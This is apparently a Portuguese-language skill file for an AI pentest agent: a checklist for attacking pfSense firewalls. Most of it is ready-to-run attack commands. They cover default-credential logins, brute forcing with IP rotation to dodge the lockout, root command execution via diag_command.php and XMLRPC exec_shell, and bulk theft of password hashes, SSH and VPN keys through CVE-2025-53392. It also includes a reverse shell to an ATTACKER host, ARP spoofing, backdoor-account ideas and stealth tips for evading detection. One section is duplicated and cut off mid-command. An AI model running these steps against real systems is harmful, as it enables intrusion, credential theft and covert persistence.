---
name: pentest-pfsense
description: Pentest especializado para pfSense CE e Plus — cobre todas as superfícies de ataque a partir da rede externa e interna, mapeado ao PTES e ao código-fonte real do pfSense
type: skill
---

# Pentest pfSense — Checklist Completo

## Objetivo
Avaliar a segurança de instâncias pfSense em conformidade com requisitos legais/regulatórios brasileiros, cobrindo superfície de ataque da rede **externa** (WAN) e **interna** (LAN/DMZ), referenciando vulnerabilidades conhecidas e vetores identificados diretamente no código-fonte do pfSense.

---

## 🔗 Cross-Reference: Outras Skills e PoCs

### cPanel & WHM (CVE-2026-41940)

Se durante o pentest você identificar **cPanel & WHM** no mesmo alvo ou em servidores adjacentes:

```bash
# Detectar cPanel
httpx -u https://TARGET:2087 -title -tech-detect

# Testar CVE-2026-41940 (Authentication Bypass CVSS 9.8)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET:2087 -u admin -p password detect

# Explorar se vulnerável
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET:2087 -u admin -p password exploit
```

**PoC Location:** `/root/.pcode/pocs/cPanel/CVE-2026-41940/`
**Skills Relacionadas:**
- `pentest-intelligence-gathering` — cPanel detection via OSINT
- `pentest-vulnerability-analysis` — CVE verification
- `pentest-exploitation` — Exploitation (CVE-2026-41940)

---

## Estrutura do Documento

| Fase | Perspectiva | Descrição |
|------|-------------|-----------|
| 0 | Ambas | Pre-engagement & Fingerprinting (Passive First) |
| 1 | Externa | Reconhecimento & Port Scan (Stealth) |
| 2 | Externa | Web GUI Attack Surface |
| 3 | Externa | Serviços de Rede Expostos (SSH, SNMP, OpenVPN, IPSec, WireGuard) |
| 4 | Externa | Exploração de CVEs Conhecidos |
| 5 | Interna | Reconhecimento Interno |
| 6 | Interna | Serviços Internos & HA/CARP |
| 7 | Interna | Captive Portal Bypass |
| 8 | Ambas | Pós-Exploração & Persistência |
| 9 | Ambas | Findings Templates |
| 10 | Ambas | Feature-Based Testing Checklist |

> **⚠️ Stealth Warning:** pfSense é um **firewall/security device** — frequentemente a primeira linha de defesa. Scan agressivo provavelmente triggerará alerts. Priorize técnicas passivas e stealthy:
> - Comece com **Shodan** e **Censys** para fingerprinting passivo
> - Use scans lentos/low-rate para evitar detecção
> - Evite full port scans a menos que explicitamente autorizado
> - Considere timing attacks durante janelas de manutenção
> - Documente todos os alerts triggered no relatório final

> **📋 Versão Alvo:** Este checklist é projetado para **pfSense 2.7.0+**. Algumas features/vulnerabilidades podem não se aplicar a versões mais antigas.

---

## Fase 0 — Pre-engagement & Fingerprinting

### 0.1 Passive Reconnaissance (FIRST — Before Any Active Scanning)

> **Firewalls log all connection attempts.** Start with passive techniques to avoid detection.

```bash
# Shodan — Passive fingerprinting
shodan search "product:pfsense"
shodan search "http.title:pfSense"
shodan search "net:\"<TARGET_NET>\""
shodan host <TARGET_IP>

# Censys — Certificate and service discovery
censys search "services.software.product=pfSense"
censys search "services.http.response.html_title:pfSense"
censys search "ip:<TARGET_IP>"

# Check public exposure
curl "https://shodan.io/search/report?query=pfsense"
```

- [ ] Search Shodan for target IP/domain
- [ ] Search Censys for SSL certificates
- [ ] Check for exposed services in search engines
- [ ] Review historical data (Wayback Machine for web interface)
- [ ] Document publicly visible information

### 0.2 Confirmar que é pfSense (Active)
```bash
# HTTP header revela nginx (pfSense usa nginx como frontend)
curl -skI https://TARGET | grep -iE "server:|x-powered|pfsense"

# Página de login tem título e elementos únicos
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate|login_button"

# Certificado auto-assinado padrão com CN=pfSense
echo | openssl s_client -connect TARGET:443 2>/dev/null | openssl x509 -noout -subject -issuer

# Banner grab SSH (se habilitado)
nc -w3 TARGET 22 2>/dev/null | head -2

# SNMP OID de identificação de produto
snmpget -v2c -c public TARGET 1.3.6.1.2.1.1.1.0
```

### 0.3 Detectar Versão
```bash
# Via página de login (sem autenticação — versão fica no HTML em versões antigas)
curl -sk https://TARGET/ | grep -iE "version|release|2\.[0-9]|24\.[0-9]|plus"

# Via HTTP 404 — revela versão em alguns releases
curl -sk https://TARGET/nonexistent.php | grep -iE "version|pfSense"

# Via crash_reporter (antes de 2.5.x não exigia auth)
curl -sk https://TARGET/crash_reporter.php | grep -i version

# Nuclei — detection templates
nuclei -u https://TARGET -t technologies/pfsense.yaml -silent
nuclei -u https://TARGET -t technologies/ssl/ -silent
```

### 0.4 Portas Padrão pfSense
| Porta | Protocolo | Serviço | Perspectiva |
|-------|-----------|---------|-------------|
| 80 | TCP | Web GUI HTTP (redirect) | Externa/Interna |
| 443 | TCP | Web GUI HTTPS | Externa/Interna |
| 22 | TCP | SSH (opcional) | Ambas |
| 161 | UDP | SNMP (opcional) | Interna (padrão) |
| 162 | UDP | SNMP Trap | Interna |
| 500 | UDP | IKE/IPSec | Externa |
| 4500 | UDP | IPSec NAT-T | Externa |
| 1194 | UDP/TCP | OpenVPN (padrão) | Externa |
| 51820 | UDP | WireGuard (padrão) | Externa |
| 1701 | UDP | L2TP | Externa |
| 1723 | TCP | PPTP (legacy) | Externa |
| 514 | UDP | Syslog remoto | Interna |

---

## Fase 1 — Reconhecimento & Port Scan (Perspectiva Externa)

### 1.1 Port Scan Completo (Stealth Mode)

> **Warning:** Active scanning will be logged. Use rate limiting and consider timing.

```bash
# Scan completo com detecção de versão (STEALTH - T2)
nmap -sV -sC -p- --open -T2 -oA pfsense_full TARGET

# Scan UDP dos serviços críticos
nmap -sU -p 161,162,500,4500,1194,51820,1701 -sV TARGET

# Scan rápido inicial (still stealth)
rustscan -a TARGET --ulimit 5000 -- -sV -sC -T2

# Scripts NSE específicos
nmap -p 443 --script ssl-cert,ssl-enum-ciphers,http-title,http-auth-finder TARGET
nmap -p 22 --script ssh-auth-methods,ssh2-enum-algos TARGET
nmap -p 161 -sU --script snmp-info,snmp-sysdescr,snmp-interfaces TARGET
```

### 1.2 Web Application Fingerprinting
```bash
# httpx para enumerar headers e tecnologias
httpx -u https://TARGET -title -tech-detect -status-code -method -websocket -tls-grab -json

# whatweb
whatweb -a 3 https://TARGET

# Enumeração de caminhos sensíveis
feroxbuster -u https://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php -k -t 30 --filter-status 404,302

# Paths críticos conhecidos (verificar manualmente)
for path in xmlrpc.php diag_command.php diag_backup.php crash_reporter.php \
            diag_edit.php index.php system_advanced_admin.php; do

### 1.2 Web Application Fingerprinting
```bash
# httpx para enumerar headers e tecnologias
httpx -u https://TARGET -title -tech-detect -status-code -method -websocket -tls-grab -json

# whatweb
whatweb -a 3 https://TARGET

# Enumeração de caminhos sensíveis
feroxbuster -u https://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php -k -t 30 --filter-status 404,302

# Paths críticos conhecidos (verificar manualmente)
for path in xmlrpc.php diag_command.php diag_backup.php crash_reporter.php \
            diag_edit.php index.php system_advanced_admin.php; do
  echo -n "$path: "; curl -skI https://TARGET/$path | head -1
done
```

---

## Fase 2 — Web GUI Attack Surface

### 2.1 Credenciais Padrão
> **Fonte código:** `globals.inc:62` — `'factory_shipped_password' => 'pfsense'`

```bash
# Credencial padrão de fábrica
# Login: admin | Senha: pfsense

# Teste manual — POST para /
curl -sk -c cookies.txt -b cookies.txt \
  -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" \
  https://TARGET/ -D - | grep -E "Location|Set-Cookie|error"

# Com hydra — ATENÇÃO: pfSense tem lockout por IP via pf table (STEALTH MODE)
# O lockout é implementado em auth.inc (linha 52-63)
# O IP é adicionado à tabela pf "webConfiguratorlockout" após falhas
# Recomendado: teste lento com -t 1 -T 1 (1 thread, 1s delay)
hydra -l admin -P /usr/share/wordlists/passwords/common.txt \
  https-post-form://TARGET/":usernamefld=^USER^&passwordfld=^PASS^&login=Sign+In:Username or Password incorrect" \
  -t 1 -T 1 -w 5 -V

# Senhas comuns para admin pfSense (além da padrão)
# admin/admin, admin/password, admin/pfsense, admin/pfSense, admin/<hostname>
```

### 2.2 Brute Force — Contornar Lockout
```bash
# O lockout é por IP de origem (tabela pf "webConfiguratorlockout")
# Técnica: rotate IPs via proxychains/Tor ou usar IP de rede interna
# Tabela de lockout expira automaticamente (tempo configurável no sistema)

# Via rede interna (anti-lockout rule protege LAN por padrão)
# Anti-lockout rule: garante acesso ao GUI pelo(s) IP(s) da LAN interface
# Se você já está na LAN, sem lockout para a interface LAN
```

### 2.3 Autenticação via XMLRPC (HTTP Basic Auth)
> **Fonte código:** `xmlrpc.php:48-84` — autenticação via `$_SERVER['PHP_AUTH_PW']`
> Apenas admin (uid=0) é permitido no XMLRPC.

```bash
# Teste de autenticação XMLRPC
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>host_firmware_version</methodName><params><param><value><nil/></value></param><param><value><int>30</int></value></param></params></methodCall>'

# Brute force XMLRPC (sem lockout pf — usa HTTP Basic diferente do GUI)
hydra -l admin -P senhas.txt TARGET https-get /xmlrpc.php
```

### 2.4 Execução Remota de Comandos (pós-auth)
> **Fonte código:** `diag_command.php:174` — `exec($_POST['txtCommand'] . ' 2>&1', $output)`
> **Fonte código:** `xmlrpc.php:138,156` — métodos `exec_php` e `exec_shell`

```bash
# Via diag_command.php (requer sessão autenticada)
# Obter CSRF token primeiro
CSRF=$(curl -sk -c cookies.txt https://TARGET/ | grep csrf_magic | sed "s/.*name='csrf_magic' value='\(.*\)'.*/\1/")

# Executar comando (como root no sistema!)
curl -sk -b cookies.txt https://TARGET/diag_command.php \
  -d "txtCommand=id&submit=EXEC&csrf_magic=${CSRF}" | grep -A5 "cmdoutput"

# Via XMLRPC exec_shell (mais direto, sem CSRF)
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>exec_shell</methodName><params><param><value><string>id; whoami; cat /etc/passwd</string></value></param></params></methodCall>'

# Via XMLRPC exec_php (executa PHP arbitrário)
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>exec_php</methodName><params><param><value><string>system("id");</string></value></param></params></methodCall>'
```

### 2.5-A CVE-2025-53392 — File Read Arbitrário via dlPath (CE 2.8.0)
> **Fonte código:** `diag_command.php:44-46`
> ```php
> if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
>     session_cache_limiter('public');
>     send_user_download('file', $_POST['dlPath']);   // sem basename(), sem whitelist
> ```
> Nenhuma validação de caminho. `php-fpm` roda como **root** → qualquer arquivo legível.
> **Vetor crítico:** requer apenas `page-diagnostics-command` — não precisa ser admin completo.
> Netgate disputou o report ("comportamento esperado") — **sem fix oficial**.
>
> **Outras capacidades do mesmo arquivo** (requerem o mesmo privilégio):
> ```php
> // Linha 174 — RCE direto:
> exec($_POST['txtCommand'] . ' 2>&1', $output);
>
> // Linha 48 — upload para /tmp (nome sem basename — path traversal potencial):
> move_uploaded_file($_FILES['ulfile']['tmp_name'],
>     g_get('tmp_path') . "/" . $_FILES['ulfile']['name']);
>
> // Linha 265 — execução PHP arbitrária:
> exec("/usr/local/bin/php ... {$tmpfile}", $output);  // $tmpfile contém $_POST['txtPHPCommand']
> ```

```bash
# ── Detecção e exfiltração manual ────────────────────────────────

# Autenticar e capturar cookie + CSRF
curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
  -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" \
  https://TARGET/ -o /dev/null

CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar https://TARGET/diag_command.php \
  | grep -oP "csrf_magic.*?value=['\"]\\K[^'\"]+")

# Confirmar vulnerabilidade (arquivo inócuo)
curl -sk -b /tmp/pf.jar \
  -d "dlPath=/etc/hostname&submit=DOWNLOAD&csrf_magic=${CSRF}" \
  https://TARGET/diag_command.php
# Resposta: nome do host (não HTML) → VULNERÁVEL

# Exfiltrar arquivos críticos
for f in /etc/master.passwd /cf/conf/config.xml /etc/ssh/ssh_host_rsa_key \
          /var/etc/openvpn/server1.key /var/etc/ipsec/swanctl.conf \
          /var/etc/ipsec/ipsec.secrets /root/.ssh/authorized_keys; do
  out=$(basename "$f")
  http=$(curl -sk -b /tmp/pf.jar \
    -d "dlPath=${f}&submit=DOWNLOAD&csrf_magic=${CSRF}" \
    https://TARGET/diag_command.php -o "$out" -w "%{http_code}")
  # Verificar se é arquivo real (não HTML da página)
  if ! grep -q "<!DOCTYPE\|<html" "$out" 2>/dev/null; then
    echo "[+] $f → $out ($(wc -c < "$out") bytes)"
  fi
  # Renovar CSRF para próxima requisição
  CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar https://TARGET/diag_command.php \
    | grep -oP "csrf_magic.*?value=['\"]\\K[^'\"]+")
done
```

```bash
# ── PoC Python — automação completa ─────────────────────────────
# PoC: pocs/PfSense/CVE-2025-53392/poc.py

pip install requests

# Confirmar vulnerabilidade
python3 pocs/PfSense/CVE-2025-53392/poc.py \
  -t https://TARGET -u admin -p pfsense detect

# Ler arquivo específico
python3 pocs/PfSense/CVE-2025-53392/poc.py \
  -t https://TARGET -u admin -p pfsense read --path /etc/master.passwd

# Exfiltrar todos os arquivos de alto valor (25+ arquivos)
python3 pocs/PfSense/CVE-2025-53392/poc.py \
  -t https://TARGET -u admin -p pfsense dump --out-dir ./exfil/

# Extrair segredos dos arquivos baixados (hashes, PSKs, certs, chaves)
python3 pocs/PfSense/CVE-2025-53392/poc.py \
  analyze --out-dir ./exfil/

# Chain com oracle CVE-2025-34173 ou CVE-2025-34176 (leitura dirigida)
python3 pocs/PfSense/CVE-2025-34173/poc.py \
  -t https://TARGET -u admin -p pfsense enum \
  | grep EXISTE | awk '{print $2}' > found.txt
python3 pocs/PfSense/CVE-2025-53392/poc.py \
  -t https://TARGET -u admin -p pfsense chain --from-file found.txt

# Pós-exfiltração: quebrar hashes com hashcat
hashcat -m 3200 ./exfil/hashes_for_hashcat.txt /usr/share/wordlists/rockyou.txt
```

### 2.5-B Upload de Arquivo via diag_command.php
> **Fonte código:** `diag_command.php:47-49`
> ```php
> move_uploaded_file($_FILES['ulfile']['tmp_name'], g_get('tmp_path') . "/" . $_FILES['ulfile']['name']);
> ```
> Upload vai para `/tmp/` com o nome original do arquivo. Não executa diretamente via web,
> mas pode ser usado em conjunto com `exec` para executar o arquivo carregado.

```bash
# Upload de script para /tmp/
curl -sk -b /tmp/pf.jar \
  -F "ulfile=@/tmp/shell.sh;type=application/octet-stream" \
  -F "submit=UPLOAD" \
  -F "csrf_magic=${CSRF}" \
  https://TARGET/diag_command.php

# Executar o script carregado via txtCommand
curl -sk -b /tmp/pf.jar \
  -d "txtCommand=sh /tmp/shell.sh&submit=EXEC&csrf_magic=${CSRF}" \
  https://TARGET/diag_command.php | grep -A20 "cmdoutput"

# Caso de uso: carregar reverse shell e executar
echo 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"' > /tmp/shell.sh
# (repetir os dois curl acima)
```

### 2.5 Exfiltração de Configuração (pós-auth)
> **Fonte código:** `diag_backup.php` — download do config.xml completo (contém hashes de senha, PSKs, certificados)

```bash
# Download do config.xml (contém tudo — credenciais, PSKs, certs, VPN configs)
curl -sk -b cookies.txt https://TARGET/diag_backup.php \
  -d "backuparea=&nopackages=&Submit=Download+configuration+as+XML" \
  -o pfsense_config.xml

# Extrair hashes de senha do config
grep -E "bcrypt|password|sha256|md5" pfsense_config.xml

# Extrair PSKs do IPSec
grep -E "pre-shared-key|ipsec.*secret|psk" pfsense_config.xml

# Via XMLRPC backup_config_section (seção específica)
curl -sk -u admin:pfsense https://TARGET/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>backup_config_section</methodName><params><param><value><array><data><value><string>system</string></value></data></array></value></param></params></methodCall>'
```

### 2.6 CSRF — Páginas sem Proteção
> **Fonte código:** `$nocsrf = true` em: `services_captiveportal_vouchers.php`, `services_captiveportal.php`, `diag_packet_capture.php`, `services_captiveportal_hasync.php`, `ifstats.php`

```bash
# Testar CSRF em páginas sem $nocsrf
# Para páginas COM CSRF, tentar roubo de token via XSS primeiro

# Verificar token CSRF (nome: csrf_magic)
curl -sk https://TARGET/ | grep -i "csrf_magic"

# Nuclei CSRF templates
nuclei -u https://TARGET -t vulnerabilities/generic/csrf.yaml -silent
```

### 2.7 XSS — Pontos de Injeção
```bash
# Nuclei XSS
nuclei -u https://TARGET -t vulnerabilities/generic/xss-reflected.yaml -silent

# Páginas com input refletido sem encode adequado em versões antigas
# Verificar: status_logs*.php, diag_*.php, firewall_*.php

# XSS via campos de nome em aliases, rules, interfaces (stored XSS)
# Impacto: roubo de sessão admin → RCE via diag_command.php

# Nuclei pfSense específico
nuclei -u https://TARGET -tags pfsense -silent
```

### 2.8 SSL/TLS Assessment
```bash
# testssl.sh — auditoria completa TLS
testssl.sh --full https://TARGET

# sslscan
sslscan TARGET:443

# Configuração TLS do pfSense (nginx):
# Ciphers: EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH:ECDHE-ECDSA-CHACHA20-POLY1305
# Verificar: HSTS habilitado? HTTP redirect? Certificado válido?
nmap -p443 --script ssl-cert,ssl-enum-ciphers,ssl-dh-params TARGET
```

---

## Fase 3 — Serviços de Rede Expostos (Perspectiva Externa)

### 3.1 SSH (Porta 22)
```bash
# Verificar se SSH está habilitado e quais métodos de auth aceita
nmap -p22 --script ssh-auth-methods,ssh2-enum-algos TARGET

# Algoritmos fracos?
ssh -vvv admin@TARGET 2>&1 | grep -iE "kex|cipher|mac|host"

# Brute force SSH (mais lento que Web GUI, sem lockout pf nativo)
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://TARGET -t 4 -V

# Verificar se aceita chave do usuario admin sem senha (config padrão errada)
ssh -o "PasswordAuthentication=no" -o "BatchMode=yes" admin@TARGET id 2>&1
```

### 3.1-A CVE-2023-48795 — Terrapin Attack (SSH Prefix Truncation)
> **Afeta:** pfSense CE <= 2.7.2 / Plus <= 23.09.1 (OpenSSH 9.4p1)
> **Corrigido em:** CE 2.8.0 / Plus 24.03 (OpenSSH 9.6p1 com strict KEX)
> **CVSS:** 5.9 Medium (`AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N`) | EPSS: 99º percentil
> **Requer:** posição MITM na rede (ARP poison, rogue AP, VLAN pivot)
>
> **Mecanismo:** O contador de sequência SSH não é resetado ao iniciar o canal
> criptografado. O MITM injeta `SSH2_MSG_IGNORE` durante o handshake não-cifrado,
> deslocando o counter do servidor em +1. Isso permite deletar silenciosamente o
> primeiro pacote criptografado (normalmente `SSH2_MSG_EXT_INFO`) sem detecção.
> Resultado: fallback forçado para autenticação por senha → credencial interceptável.
>
> **Ciphers afetados:** `chacha20-poly1305@openssh.com` (ataque determinístico, ~100%
> de sucesso) e qualquer `*-etm@openssh.com` (ataque probabilístico, 1-2h).
> `aes*-gcm@openssh.com` e modos não-ETM são **imunes**.

#### Detecção
```bash
# 1. Verificação rápida — banner + versão
ssh -o "ConnectTimeout=3" -o "BatchMode=yes" admin@TARGET 2>&1 | grep "OpenSSH"
# OpenSSH < 9.6 + pfSense CE < 2.8.0 → provavelmente vulnerável

# 2. Scanner PoC (sem dependências — só Python stdlib)
python3 pocs/PfSense/CVE-2023-48795/poc.py scan TARGET
python3 pocs/PfSense/CVE-2023-48795/poc.py scan TARGET --verbose
python3 pocs/PfSense/CVE-2023-48795/poc.py scan TARGET --json

# 3. Verificar workaround de cipher aplicado
python3 pocs/PfSense/CVE-2023-48795/poc.py workaround-check TARGET

# 4. Scanner oficial RUB-NDS (Go — mais completo)
go install github.com/RUB-NDS/Terrapin-Scanner@latest
Terrapin-Scanner --connect TARGET:22 --json

# 5. ssh-audit (auditoria completa de algoritmos)
pip install ssh-audit
ssh-audit TARGET
# Procurar: "warn -- [info] kex strict KEX extension not enabled"

# 6. Nmap
nmap -sV -p 22 --script ssh2-enum-algos TARGET
# Se saída inclui chacha20-poly1305 ou *-etm MACs → investigar strict KEX

# 7. Múltiplos hosts (varredura de rede interna)
nmap -p 22 --open -oG - 192.168.0.0/24 | awk '/22\/open/{print $2}' > hosts_ssh.txt
python3 pocs/PfSense/CVE-2023-48795/poc.py bulk hosts_ssh.txt
```

#### Interpretação dos Resultados
```
[VULNERÁVEL] supports_chacha20=true, supports_strict_kex=false
             → pfSense CE <= 2.7.2, patch NÃO aplicado

[MITIGADO]   supports_chacha20=false, supports_cbc_etm=false, supports_strict_kex=false
             → workaround de cipher aplicado (System Patches v2.2.9)
             → proteção parcial — upgrade para 9.6+ ainda recomendado

[SEGURO]     supports_strict_kex=true
             → pfSense CE >= 2.8.0 / Plus >= 24.03 (OpenSSH 9.6p1+)
```

#### Cadeia de Exploração (requer posição MITM)
```bash
# Pré-requisito: posição MITM na mesma rede do admin
# Ex: ARP poison entre workstation do admin e pfSense
arpspoof -i eth0 -t ADMIN_IP PFSENSE_IP &
arpspoof -i eth0 -t PFSENSE_IP ADMIN_IP &

# PoC completo (Docker — demonstração acadêmica RUB-NDS)
git clone https://github.com/RUB-NDS/Terrapin-Artifacts
cd Terrapin-Artifacts
./impl/build.sh
./pocs/build.sh
./pocs/test-ext-downgrade.sh   # prova deleção do EXT_INFO
# Resultado: admin é forçado a tentar password auth

# Capturar credencial com responder ou similar uma vez que password auth é forçado
# Ou usar SSLstrip-like approach para interceptar a senha em plaintext no pipe
```

#### Remediação pfSense
```bash
# Opção 1 — Upgrade (definitivo)
# pfSense CE 2.7.2 → CE 2.8.0+  (OpenSSH 9.6p1, strict KEX ativo)
# pfSense Plus 23.09.1 → Plus 24.03+ (mesma correção)

# Opção 2 — Workaround imediato (CE 2.7.2 sem upgrade)
# Via GUI: System > Advanced > Admin Access > SSH > sshd_config custom options:
#   Ciphers -chacha20-poly1305@openssh.com
#   MACs -*etm@openssh.com
# Via console:
echo 'Ciphers -chacha20-poly1305@openssh.com' >> /etc/ssh/sshd_config
echo 'MACs -*etm@openssh.com' >> /etc/ssh/sshd_config
/usr/local/bin/php-cgi -f /etc/rc.d/sshd restart

# Opção 3 — System Patches Package v2.2.9 (Netgate recomendado para CE 2.7.2)
# System > Patches > Add patch from Netgate recommended list

# Verificar se workaround está ativo após aplicação:
python3 pocs/PfSense/CVE-2023-48795/poc.py workaround-check TARGET
```

### 3.2 SNMP
```bash
# Community string padrão "public"
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1 2>/dev/null | head -30
snmpwalk -v2c -c private TARGET 1.3.6.1.2.1 2>/dev/null | head -30

# Enumerar interfaces de rede via SNMP
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.2.2.1.2

# Rotas via SNMP
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.4.21

# Brute force community strings
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt TARGET
nmap -sU -p161 --script snmp-brute TARGET

# snmp-check completo
snmp-check -c public -v 2c TARGET

# SNMP v3 (requer credenciais)
snmpwalk -v3 -l authPriv -u snmpuser -a SHA -A authpass -x AES -X privpass TARGET 1.3.6.1.2.1
```

### 3.3 OpenVPN

```bash
# Identificar OpenVPN port (default: 1194 UDP/TCP)
nmap -sU -p 1194 --script openvpn-info TARGET
nmap -sT -p 1194 --script openvpn-info TARGET

# TLS fingerprint
openssl s_client -connect TARGET:1194 -starttls openvpn 2>/dev/null

# Verificar se aceita conexões sem certificado cliente (modo user/pass)
openvpn --remote TARGET 1194 --proto udp --dev tun --auth-user-pass credentials.txt

# Teste de autenticação com credenciais padrão
echo -e "admin\npfsense" > /tmp/vpn_creds.txt

# Brute force OpenVPN credentials (STEALTH - T1 = 1s delay)
hydra -l <user> -P /path/to/wordlist -t 1 -T 1 openvpn://TARGET
```

#### OpenVPN Enumeration & Exploitation Checklist

- [ ] Identify OpenVPN port (default: 1194 UDP/TCP)
- [ ] Check for authentication requirement
- [ ] Test for anonymous connections
- [ ] Enumerate cipher configuration
- [ ] Check for certificate validation
- [ ] Test for tunnel bypass techniques
- [ ] Verify user/password auth (if configured)
- [ ] Check for client certificate extraction
- [ ] Test for OpenVPN management interface exposure

#### OpenVPN Post-Exploitation

```bash
# Extract OpenVPN credentials from config
grep -A 20 "openvpn" /cf/conf/config.xml

# Check for stored passwords
grep "auth-user-pass" /cf/conf/config.xml

# Extract certificates
grep -A 50 "<openvpn-server>" /cf/conf/config.xml | grep -E "(cert|key)"

# Post-exploitation checklist:
# - Extract OpenVPN server configuration
# - Dump user credentials from config
# - Extract client certificates/keys
# - Check for static key configurations
# - Test for tunnel traffic interception
# - Create backdoor OpenVPN user
# - Configure rogue OpenVPN server
# - Test for route injection via OpenVPN
```

### 3.4 IPSec
```bash
# Identificar implementação e versão
ike-scan TARGET
ike-scan --id=pfsense TARGET

# Enumerar transformações suportadas
ike-scan -A --id=0 TARGET
ike-scan -M --id=0 TARGET --trans=5,2,1,2  # 3DES, SHA1, Pre-shared, DH2

# Testar modos agressivos (leak de hash)
ike-scan --aggressive --id=pfsense TARGET
ike-scan --aggressive -M TARGET --id=0 | grep -i hash

# Crack de hash PSK (se modo agressivo expôs)
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
```

### 3.5 WireGuard
```bash
# Probe UDP WireGuard
nmap -sU -p51820 --script wireguard-info TARGET 2>/dev/null

# WireGuard não revela informações sem chave válida (protocolo mais seguro)
# Verificar se porta está filtrada ou aberta
```

---

## Fase 4 — CVEs Conhecidos pfSense

### 4.1 Tabela de CVEs Críticos

| CVE | Versão Afetada | Tipo | CVSS | Notas |
|-----|---------------|------|------|-------|
| CVE-2024-57273 | CE < 2.8.0, Plus < 24.03 | DoS / Input Validation | 5.3 | OpenVPN kill_client sem validação → desconectar qualquer cliente; fix commit 92a55a0ad8 |
| CVE-2024-54779 | CE < 2.8.0, Plus < 24.03 | Stored XSS + XML Injection | 5.4 | filterlogentriesinterval sem validação → JS sink logsObject.freq; widgetkey → XML element name → corrupção de config.xml |
| CVE-2024-54780 | CE < 2.8.0, Plus < 24.03 | Input Validation Bypass | 4.3 | widgetkey sem validação em 15 widgets do Dashboard → acesso a dados de outros widgets; fix commits 04b74da157, 6b42147b1c |
| CVE-2023-48795 | CE <= 2.7.2, Plus <= 23.09.1 (OpenSSH 9.4p1) | SSH Protocol / MITM | 5.9 | Terrapin: prefix truncation via MSG_IGNORE → delete EXT_INFO → força password auth |
| CVE-2025-34178 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | Stored XSS | 5.4 | policy_name sem htmlspecialchars() → <td> innerHTML + 9 hidden inputs (libhtp_policy) |
| CVE-2025-34177 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | Stored XSS | 5.4 | policy_name sem htmlspecialchars() → <td> innerHTML + 5 hidden inputs (host_os_policy) |
| CVE-2025-34176 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | File Existence Oracle | 4.3 | iplist sem basename() → file_exists() em path arbitrário (espelho Suricata do CVE-2025-34173) |
| CVE-2025-34175 | CE 2.8.0/2.8.1, Plus 25.07 / Suricata <= 7.0.8_3 | Reflected XSS | 6.1 | filehash refletido em 7 href sem urlencode() → injeção de atributo → roubo de sessão → RCE |
| CVE-2025-34174 | CE 2.8.0/2.8.1, Plus 25.07 / Status_Traffic_Totals <= 2.3.2_7 | Stored XSS | 5.4 | 6 parâmetros sem sanitização (//TODO clean inputs) → config.xml → XSS persistente para todos os usuários |
| CVE-2025-34173 | CE 2.8.0/2.8.1, Plus 25.07 / Snort <= 4.1.6_25 | File Existence Oracle | 4.3 | iplist sem basename() → file_exists() em path arbitrário → enumeração + chain com CVE-2025-53392 |
| CVE-2025-34172 | CE 2.8.0/2.8.1, Plus 25.07 / HAProxy <= 0.63_10 | XSS + Socket Injection | 6.1 | showsticktablecontent refletido + injetado no socket HAProxy |
| CVE-2025-12490 | CE 2.8.1 / Suricata 7.0.8_3 | Path Traversal → RCE (Autenticado) | 8.8 | sidlist_name sem basename() → file_put_contents no web root |
| CVE-2025-53392 | CE 2.8.0 | File Read (Autenticado) | 6.5 | dlPath sem sanitização → leitura arbitrária de arquivos |
| CVE-2023-42326 | CE < 2.7.0, Plus < 23.05.1 | Command Injection | 8.8 | interfaces_gif_edit.php, interfaces_gre_edit.php; EPSS 84.8%; Fix: d69d6c8424 |
| CVE-2023-42325 | CE < 2.7.0 | Reflected XSS | 6.1 | Múltiplos parâmetros; PoC criada |
| CVE-2023-42327 | CE < 2.7.0 | Stored XSS | 5.4 | Regras de firewall; PoC criada |
| CVE-2023-42328 | CE < 2.7.0 | Stored XSS | 6.1 | Múltiplos campos; PoC criada |
| CVE-2023-42329 | CE < 2.7.0 | Stored XSS (Widgets) | 5.4 | Dashboard widget config; PoC criada |
| CVE-2023-42330 | CE < 2.7.0 | Stored XSS (System) | 5.4 | System config pages; PoC criada |
| CVE-2023-42331 | CE < 2.7.0 | Stored XSS (NAT) | 5.4 | NAT configuration; PoC criada |
| CVE-2023-48123 | CE < 2.7.0, Plus < 23.05.1 | RCE | 8.8 | packet_capture.php command injection; EPSS 68.2% |
| CVE-2022-31814 | pfBlockerNG < 2.1.4_26 | RCE | 9.8 | Path traversal → RCE sem auth |
| CVE-2022-40624 | pfBlockerNG <= 2.1.4_27 | RCE (Host Header) | 9.8 | Injeção de comando via HTTP Host header → RCE como root sem auth; EPSS 84.7% |
| CVE-2022-29273 | CE < 2.6.0, Plus < 22.05 | Stored XSS | 6.1 | XSS via URL Table Alias (falta de htmlspecialchars); EPSS 38.0% |
